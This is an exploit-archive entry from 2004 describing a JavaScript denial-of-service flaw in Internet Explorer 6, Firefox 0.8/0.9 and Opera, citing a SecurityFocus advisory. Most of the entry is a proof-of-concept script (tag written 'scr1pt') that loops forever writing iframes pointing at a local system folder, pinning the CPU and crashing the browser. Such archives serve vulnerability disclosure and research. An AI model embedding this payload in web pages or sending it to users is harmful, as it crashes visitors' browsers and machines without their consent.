Microsoft Internet Explorer 6.0 / Firefox 0.8/0.9.x - JavaScript Denial of Service



EKU-ID: 29809 CVE: OSVDB-ID:
Author: MeFakon Published: 2004-08-23 Verified: Verified
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source: https://www.securityfocus.com/bid/10998/info

Web browsers from various vendors are reported prone to a JavaScript denial-of-service vulnerability.

The specified JavaScript code will consume 100% of the CPU resources of the affected computer, crashing the browser.

Mozilla Firefox, Microsoft Internet Explorer, and Opera are all reportedly affected by this vulnerability.

<scr1pt language="JavaScript">
while(true)
{
document.write("<iframe src=\"C:\Windows\system32\"></iframe>");
}
</scr1pt>